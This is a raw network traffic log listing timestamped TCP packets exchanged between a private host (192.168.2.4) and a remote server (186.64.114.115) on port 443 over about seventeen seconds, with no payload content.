Aug 30, 2024 18:13:23.059154034 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.059273005 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.059345961 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.177453041 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.177640915 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.177810907 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.177875996 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.295416117 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.295573950 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.415895939 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.416069984 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.537481070 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.537559032 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.665961027 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.666152000 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.771893024 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.771994114 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.847341061 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.847527981 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.965909958 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.966089010 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.084460974 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.084551096 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.215879917 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.216022015 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.247574091 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.247659922 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.334542990 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.334641933 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.452935934 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.453043938 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.489515066 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.489664078 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.571141005 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.571243048 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.927598000 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.927609921 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.927665949 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.927761078 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.927761078 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.927772999 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.927819967 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.963434935 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.963517904 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:24.963855982 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:24.963927031 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:25.163502932 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:25.163595915 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:25.318217039 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:25.318315983 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:25.527175903 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:25.527184963 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:25.527276039 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:25.555440903 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:25.555531979 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:25.677725077 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:25.677853107 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:25.796015978 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:25.796080112 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:25.914325953 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:25.914416075 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.001288891 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.001362085 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.119700909 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.119766951 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.151266098 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.151354074 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.242317915 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.242412090 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.363498926 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.363610029 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.388231039 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.388325930 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.482448101 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.482566118 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.600465059 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.600573063 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.600856066 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.600924969 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.719250917 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.719325066 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.743863106 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.743925095 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.838262081 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.838442087 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.865056038 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.865235090 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:26.957294941 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:26.957365990 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.074986935 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.075109005 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.075229883 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.075294018 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.099189997 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.099292994 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.193681955 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.193878889 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.217892885 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.217971087 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.313178062 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.313292980 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.313466072 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.313535929 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.431396008 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.431489944 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.431652069 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.431721926 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.668345928 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.668359995 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.668437958 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.810314894 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.810398102 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.810615063 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.810677052 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.904570103 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.904645920 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.904896975 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.904961109 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:27.905236959 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:27.905302048 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:28.023341894 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.023493052 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:28.283703089 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.283715010 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.283834934 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:28.378660917 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.378777027 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:28.497278929 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.497370958 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:28.615547895 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.615674973 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:28.971849918 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.971863031 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.972048044 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.972126961 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:28.972143888 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:28.972181082 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:28.972234011 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:29.452529907 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:29.452539921 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:29.452627897 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:29.452693939 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:29.452776909 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:29.612253904 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:29.612426043 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:29.811256886 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:29.811357021 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:29.967271090 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:29.967387915 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:30.085629940 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:30.085841894 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:30.371617079 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:30.371627092 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:30.371802092 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:30.371907949 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:30.371977091 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:30.522857904 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:30.523030043 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:30.640934944 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:30.641097069 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:30.759371042 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:30.759510994 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:30.877798080 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:30.877888918 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:30.998339891 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:30.998480082 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:31.114305973 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.114444017 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:31.233371973 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.233551025 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:31.470896006 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.470905066 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.471031904 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:31.471155882 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.471259117 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:31.588900089 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.589123011 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:31.707770109 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.707915068 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:31.825429916 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.825581074 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:31.947376013 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.947621107 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:31.993670940 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:31.993766069 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.111727953 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.111807108 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.181036949 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.181220055 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.277618885 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.277710915 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.349848032 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.349951029 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.585524082 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.585532904 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.585642099 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.633157969 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.633266926 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.667087078 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.667169094 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.772789955 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.772990942 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.891175032 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.891267061 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:32.941312075 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:32.941394091 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.059709072 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.059815884 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.128207922 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.128319979 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.217628956 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.217765093 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.296361923 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.296454906 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.365052938 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.365144014 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.454513073 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.454633951 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.533940077 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.534068108 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.572937012 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.573029041 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.669194937 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.669302940 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.720989943 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.721091986 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.810349941 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.810439110 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:33.840002060 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:33.840090036 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.048069954 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.048110008 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.048175097 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.126467943 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.126549959 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.126723051 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.126790047 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.166167021 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.166246891 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.284847021 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.284950972 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.363080025 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.363183975 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.431305885 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.431390047 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.522053957 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.522221088 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.600419998 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.600522995 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.670238018 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.670337915 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.720077038 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.720170975 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.786643028 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.786717892 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.837692976 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.837790966 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:34.956414938 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:34.956501961 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:35.142047882 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.142177105 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:35.195166111 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.195390940 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:35.195506096 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.195609093 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:35.313448906 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.313559055 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:35.431721926 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.431883097 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:35.674365044 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.674376965 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.674474955 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:35.674671888 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.674774885 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:35.911119938 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.911132097 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.911281109 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:35.911443949 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:35.911515951 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:36.030673027 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.030771971 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:36.386708975 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.386720896 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.386858940 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:36.386895895 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.386961937 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:36.596674919 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.596688032 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.596796989 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:36.741663933 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.741753101 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:36.952279091 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.952291012 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.952425003 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:36.979288101 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:36.979443073 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:37.098215103 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:37.098339081 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:37.217678070 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:37.217778921 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:37.565879107 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:37.565891027 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:37.565933943 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:37.565996885 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:37.566019058 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:37.566148043 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:37.566148043 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:37.802084923 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:37.802098989 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:37.802192926 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:38.778548002 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:38.778561115 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:38.778667927 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:38.896245956 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:38.896410942 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:39.112617970 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:39.112632036 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:39.112884045 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:39.468158960 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:39.468172073 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:39.468390942 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:39.746371984 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:39.746383905 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:39.746480942 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:39.984127998 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:39.984141111 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:39.984311104 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:40.219666958 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:40.219679117 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:40.219748974 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:40.559149027 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:40.559164047 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:40.559245110 CEST	49734	443	192.168.2.4	186.64.114.115
